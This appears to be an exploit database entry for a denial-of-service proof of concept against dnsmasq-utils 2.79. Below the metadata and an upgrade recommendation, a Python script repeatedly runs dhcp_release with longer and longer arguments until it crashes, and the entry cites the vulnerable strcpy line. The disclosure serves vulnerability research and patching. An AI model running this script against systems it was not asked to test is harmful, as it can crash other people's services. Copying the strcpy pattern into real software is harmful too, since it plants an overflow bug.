dnsmasq-utils 2.79-1 - 'dhcp_release' Denial of Service (PoC)

vendor:

dnsmasq-utils

by:

Josue Encinar

7.5

CVSS

HIGH

Buffer Overflow

120

CWE

Product Name: dnsmasq-utils

Affected Version From: 2.79

Affected Version To: 2.79

Patch Exists: YES

Related CWE: N/A

CPE: 2.3:a:dnsmasq:dnsmasq_utils:2.79

Metasploit: N/A

Other Scripts: N/A

Platforms Tested: Ubuntu 18.04

2020

dnsmasq-utils 2.79-1 – ‘dhcp_release’ Denial of Service (PoC)

The vulnerability exists due to a boundary error when handling user-supplied data, specifically when handling the 'dhcp_release' command. By supplying an overly long argument, a buffer overflow can be triggered, resulting in a denial of service.

Mitigation:

Upgrade to the latest version of dnsmasq-utils.

Source

Exploit-DB raw data:

# Exploit Title: dnsmasq-utils 2.79-1 - 'dhcp_release' Denial of Service (PoC)
# Date: 2020-04-06
# Exploit Author: Josue Encinar
# Software Link: https://launchpad.net/ubuntu/+source/dnsmasq/2.79-1
# Version: 2.79 
# Tested on: Ubuntu 18.04


from subprocess import Popen, PIPE

data = ""
bof = False
for i in range (1, 200):
    A = "A"*i
    data = f"dhcp_release {A} 1 1"
    try:
        result = Popen(data, stdout=PIPE, stderr=PIPE, shell=True)
        error = result.stderr.read().decode()
        if "Aborted (core dumped)" in error:
            print("[+] Buffer Overflow detected!")
            print(f"[*] Offset: {i}")
            bof = True
            break
    except Exception as e:
        print(f"[-] {e}")

if not bof:
    print("[-] No buffer overflow...")


## Check line 273 in dhcp_release.c 
### strcpy(ifr.ifr_name, argv[1]);
#
## PoC:
# josue@ubuntu:~/Escritorio/bof_dhcp$ python3 dhcp_release_bof.py 
# *** buffer overflow detected ***: dhcp_release terminated
# [+] Buffer Overflow detected!
# [*] Offset: 16